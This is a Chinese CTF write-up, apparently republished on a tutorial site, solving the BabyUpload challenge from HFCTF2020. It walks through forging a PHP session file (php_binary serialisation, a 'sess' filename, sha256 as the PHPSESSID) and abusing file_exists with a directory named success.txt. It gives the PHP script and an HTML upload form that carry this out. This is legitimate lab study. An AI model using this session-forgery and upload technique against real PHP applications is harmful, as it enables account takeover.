行测 tensorflow 华为鸿蒙 Eclipse Jenkins 软件开发 api memory outlook safari electron jvm Browserify vue绑定事件 安卓项目实战 webpack视频 jquery移除子元素 teamviewer验证被拒绝 kafka默认端口 查看oracle连接数 input边框颜色 java使用redis idea格式化代码设置 python在线教程 python语言入门 java数据类型 安装java环境 java声明变量 java如何获取当前时间 java获取url linux密码忘记 php开发教程 房产证生成器 html5网页制作 0x8002801c 电视免费软件 风火云 cf透视辅助 脚本错误怎么解决 安卓游戏辅助
当前位置: 首页 > 学习教程  > 编程语言

3webdogs Day4 第二题:[HFCTF2020]BabyUpload

2021/1/28 23:22:16 文章标签:

考点 PHP session伪造file_exists特性 题目代码 前面几行定义了初始环境,session文件存储位置/var/babyctf/ error_reporting(0); session_save_path("/var/babyctf/"); session_start(); require_once "/flag"; highlight_file(__FILE__);…

考点

  • PHP session伪造
  • file_exists特性

题目代码

前面几行定义了初始环境,session文件存储位置/var/babyctf/

error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);

然后说明了如何获取flag,要让session中的username字段是admin,并且/var/babyctf/success.txt文件存在,才会给出flag。并且一开始的$_SESSION['username']guest

if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}

然后说明了对输入的操作,filter_input(input_type, variable, filter, options)函数从脚本外部获取输入,并进行过滤,这里是指获取POST的参数directionattr

如果attrprivate,则dir_path/var/babyctf/private/guest

否则为/var/babyctf/$attr

$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}

最后是两种模式uploaddownload的处理逻辑

upload的逻辑

假设上传的文件名字是test.txt,那file_path就是/var/babyctf/$attr/test.txt_上传文件内容的sha256。并且file_path中不包含../..\\。然后创建/var/babyctf/$attr文件夹,将上传的文件保存到file_path

if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
	throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
	throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
	$upload_result = "uploaded";
}else{
	throw new RuntimeException('error while saving');
}

download的逻辑

获取POST的filename参数,并用basename函数返回filename中的文件名部分,然后和/var/babyctf/$attr拼接赋值给file_path,且file_path也不能包含../..\\。后面就是返回这个文件了。

$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
	throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
	throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
	$download_result = "downloaded";
}else{
	throw new RuntimeException('error while saving');
}

解题思路

思路

大概思路就是要先进行session伪造,把自己变成admin,然后上传一个success.txt就可以了

可以先看一下自己的session文件,看一下是用的什么序列化方式。POST下面的内容

direction=download&filename=sess_5f5a2aee2ccc219dbea0f78b5001d600

得到结果 usernames:5:"guest";,这种session序列化的方式是php_binary,然后就可以生成session文件

<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("./");
session_start();
$_SESSION['username'] = 'admin';

要注意的是不能直接用记事本改,PHP生成的session文件的要比记事本多个08

image-20210128185056422

image-20210128185205142

下面找一下怎么伪造,在upload处有一个文件名的拼接。如果POST传attr为空,然后上传的文件名是sess,内容是上述的session文件,那么其sha256可以这样生成

php -r "echo hash_file('sha256', 'sess');"

结果是432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

那最后的file_path就是/var/babyctf//sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

而本题session存储的位置就是/var/babyctf/,改一下PHPSESSID就可以伪造admin了

$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);

在本地写个html,注意name要和题目中的POST参数对应,选择刚刚生成的session文件,然后上传

<!DOCTYPE html>
<html>
<body>
<form action="http://7d1fb450-ca22-4aa7-b61d-ee3f3c3b9a9a.node3.buuoj.cn/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="direction" value="upload" />
    <input type="file" name="up_file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

image-20210128185632347

然后去用download验证是否上传成功,成功上传,将PHPSESSID改成432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4就成功伪造了admin

image-20210128185819279

接下来是如何创建success.txt,注意这里是用file_exists判断文件是否存在的,file_exists不仅可以判断文件,也可以判断目录

    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }

虽然本题文件名不完全可控,但是路径是完全可控的,如果在上传中,让attrsuccess.txt,那最后的filename就是

/var/babyctf/success.txt/sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

file_exists('/var/babyctf/success.txt')肯定是会返回True的,再用admin的身份访问index就可以了。

流程梳理

  1. 生成session文件,并把文件名改成sess
<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("./");
session_start();
$_SESSION['username'] = 'admin';
  1. 获取sess的sha256

image-20210128190817372

  1. 新建html,让其中的name属性与源码中POST的参数对应,实现上传
<!DOCTYPE html>
<html>
<body>
<form action="http://7d1fb450-ca22-4aa7-b61d-ee3f3c3b9a9a.node3.buuoj.cn/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="direction" value="upload" />
	<input type="hidden" name="attr" value="success.txt" />
    <input type="file" name="up_file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

image-20210128190901485

  1. POST传递direction=download&filename=sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4判断是否上传成功

image-20210128185819279

  1. 修改PHPSESSID访问index

image-20210128191040818


本文链接: http://www.dtmao.cc/news_show_650191.shtml

附件下载

相关教程

    暂无相关的数据...

共有条评论 网友评论

验证码: 看不清楚?